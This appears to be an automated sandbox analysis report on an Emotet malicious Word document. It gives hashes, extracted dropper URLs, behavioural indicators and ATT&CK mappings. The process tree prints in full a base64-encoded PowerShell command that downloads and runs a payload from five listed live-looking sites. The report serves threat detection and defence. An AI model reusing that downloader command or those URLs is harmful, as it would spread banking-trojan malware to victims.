emotet | 44bc28fb4f45c5036cbd45a91168a6dbaebe25d1faa6b2d8af02c27735a6db87

Analysis

max time kernel
136s
max time network
150s
platform
windows10_x64
resource
win10
submitted
11/08/2020, 16:26

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General

Target
emotet_e2_44bc28fb4f45c5036cbd45a91168a6dbaebe25d1faa6b2d8af02c27735a6db87_2020-08-11__162500._doc.doc
Size 226KB
Sample200811-ls7ba9ckxe
SHA256 44bc28fb4f45c5036cbd45a91168a6dbaebe25d1faa6b2d8af02c27735a6db87
MD5 ec338a7f7a8b92c80c79d9871dea7988
SHA1 e7122387b16bddb33f02fc70e6a3c3baf5f4fbf5
SHA512 36c404f1a46a9cad5b1355b07990b758f7db3cb912137252cc47e0c32370d13e0bd3d69100f64e33731a6427062f9a4f3a4015dfea39785a0af05cbec2546c62
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://dandorahiphopcity.com/cgi-bin/zblw9_5hsm_1ex2pyy/
exe.dropper
http://coparmexpuebla.org/documentos/k_n_iv8ku/
exe.dropper
http://cryptokuota.com/assets/b_z2_cyikfkk/
exe.dropper
http://culturizate.es/cache/4_zhy52_gpw/
exe.dropper
http://ezerangyal.hu/cgi-bin/y_0_n4/

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2980	3752	powersheLL.exe	69

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/464-15-0x0000000000650000-0x000000000065C000-memory.dmp	emotet
behavioral2/memory/464-15-0x0000000000650000-0x000000000065C000-memory.dmp	emotet
behavioral2/memory/728-19-0x0000000000610000-0x000000000061C000-memory.dmp	emotet
behavioral2/memory/728-19-0x0000000000610000-0x000000000061C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
9	2980	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
464	768.exe
728	StructuredQuery.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\control\StructuredQuery.exe	768.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
716	WINWORD.EXE
716	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2980	powersheLL.exe
2980	powersheLL.exe
2980	powersheLL.exe
728	StructuredQuery.exe
728	StructuredQuery.exe
728	StructuredQuery.exe
728	StructuredQuery.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2980	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
716	WINWORD.EXE
716	WINWORD.EXE
716	WINWORD.EXE
716	WINWORD.EXE
716	WINWORD.EXE
716	WINWORD.EXE
716	WINWORD.EXE
716	WINWORD.EXE
716	WINWORD.EXE
464	768.exe
464	768.exe
728	StructuredQuery.exe
728	StructuredQuery.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 464 wrote to memory of 728	464	768.exe	76
PID 464 wrote to memory of 728	464	768.exe	76
PID 464 wrote to memory of 728	464	768.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_44bc28fb4f45c5036cbd45a91168a6dbaebe25d1faa6b2d8af02c27735a6db87_2020-08-11__162500._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:716

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABQAEYAVgBYAEkAawBsAHcAPQAnAFQATgBaAFUAWABmAG4AbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABjAFUAUgBJAHQAeQBQAHIAbwBgAFQATwBDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEgAWgBCAEUARABxAHQAbQAgAD0AIAAnADcANgA4ACcAOwAkAFgASgBHAEEATQBqAGgAdQA9ACcAVABQAEgATwBZAGUAawBkACcAOwAkAEsASQBNAEYAUwBwAHYAYgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASABaAEIARQBEAHEAdABtACsAJwAuAGUAeABlACcAOwAkAE0AWgBDAFQAVgBpAGMAbwA9ACcATQBCAFYAUgBRAHcAegBwACcAOwAkAFYATABEAFgAUABkAHgAYwA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBlAHQALgB3AGUAYgBjAEwASQBlAE4AdAA7ACQAQwBCAFYAVwBOAHIAbwB1AD0AJwBoAHQAdABwAHMAOgAvAC8AZABhAG4AZABvAHIAYQBoAGkAcABoAG8AcABjAGkAdAB5AC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AegBiAGwAdwA5AF8ANQBoAHMAbQBfADEAZQB4ADIAcAB5AHkALwAqAGgAdAB0AHAAOgAvAC8AYwBvAHAAYQByAG0AZQB4AHAAdQBlAGIAbABhAC4AbwByAGcALwBkAG8AYwB1AG0AZQBuAHQAbwBzAC8AawBfAG4AXwBpAHYAOABrAHUALwAqAGgAdAB0AHAAOgAvAC8AYwByAHkAcAB0AG8AawB1AG8AdABhAC4AYwBvAG0ALwBhAHMAcwBlAHQAcwAvAGIAXwB6ADIAXwBjAHkAaQBrAGYAawBrAC8AKgBoAHQAdABwADoALwAvAGMAdQBsAHQAdQByAGkAegBhAHQAZQAuAGUAcwAvAGMAYQBjAGgAZQAvADQAXwB6AGgAeQA1ADIAXwBnAHAAdwAvACoAaAB0AHQAcAA6AC8ALwBlAHoAZQByAGEAbgBnAHkAYQBsAC4AaAB1AC8AYwBnAGkALQBiAGkAbgAvAHkAXwAwAF8AbgA0AC8AJwAuACIAcwBwAGwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAEUASgBPAEIAcABwAGQAPQAnAE0AWgBCAFEATgBjAHQAegAnADsAZgBvAHIAZQBhAGMAaAAoACQAWABTAFgASABMAGoAegBqACAAaQBuACAAJABDAEIAVgBXAE4AcgBvAHUAKQB7AHQAcgB5AHsAJABWAEwARABYAFAAZAB4AGMALgAiAGQAYABvAGAAVwBOAGwATwBhAEQARgBpAGAATABlACIAKAAkAFgAUwBYAEgATABqAHoAagAsACAAJABLAEkATQBGAFMAcAB2AGIAKQA7ACQAUQBFAE4AWABZAHgAYQB1AD0AJwBBAEIAWQBMAE8AaQBpAGMAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABLAEkATQBGAFMAcAB2AGIAKQAuACIATABFAGAATgBnAHQAaAAiACAALQBnAGUAIAAzADkAMwAwADYAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAcgBFAGAAQQBUAGUAIgAoACQASwBJAE0ARgBTAHAAdgBiACkAOwAkAFkAWABOAEQAUgByAHEAbwA9ACcAVwBPAFQAWABRAGIAagBsACcAOwBiAHIAZQBhAGsAOwAkAEsARwBMAE4ASAB2AG8AYgA9ACcAQgBLAFMASABLAGQAaABiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEQAQQBXAEcASQBpAHQAeAA9ACcASABEAEgASgBGAHgAYQBzACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2980

C:\Users\Admin\768.exe
C:\Users\Admin\768.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:464
- C:\Windows\SysWOW64\control\StructuredQuery.exe
  "C:\Windows\SysWOW64\control\StructuredQuery.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:728

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/464-15-0x0000000000650000-0x000000000065C000-memory.dmp

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memory/464-14-0x00000000006BD000-0x00000000006BF000-memory.dmp

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memory/716-5-0x00000126DE8E2000-0x00000126DE8E3000-memory.dmp

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memory/716-2-0x00000126DE8E3000-0x00000126DE8E8000-memory.dmp

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memory/716-7-0x00000126DEA59000-0x00000126DEA6D000-memory.dmp

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memory/716-8-0x00000126DEA59000-0x00000126DEA6D000-memory.dmp

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memory/716-1-0x00000126DE8E3000-0x00000126DE8E8000-memory.dmp

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memory/716-6-0x00000126DC567000-0x00000126DC578000-memory.dmp

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memory/716-3-0x00000126DE8E3000-0x00000126DE8E8000-memory.dmp

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memory/716-0-0x00007FFFB8FB0000-0x00007FFFB9676000-memory.dmp

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memory/716-4-0x00000126DE8E3000-0x00000126DE8E8000-memory.dmp

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memory/728-18-0x000000000065C000-0x000000000065D000-memory.dmp

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memory/728-19-0x0000000000610000-0x000000000061C000-memory.dmp

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memory/2980-11-0x000001C3F7130000-0x000001C3F7131000-memory.dmp

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memory/2980-10-0x000001C3F6F80000-0x000001C3F6F81000-memory.dmp

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memory/2980-9-0x00007FFFB16B0000-0x00007FFFB209C000-memory.dmp

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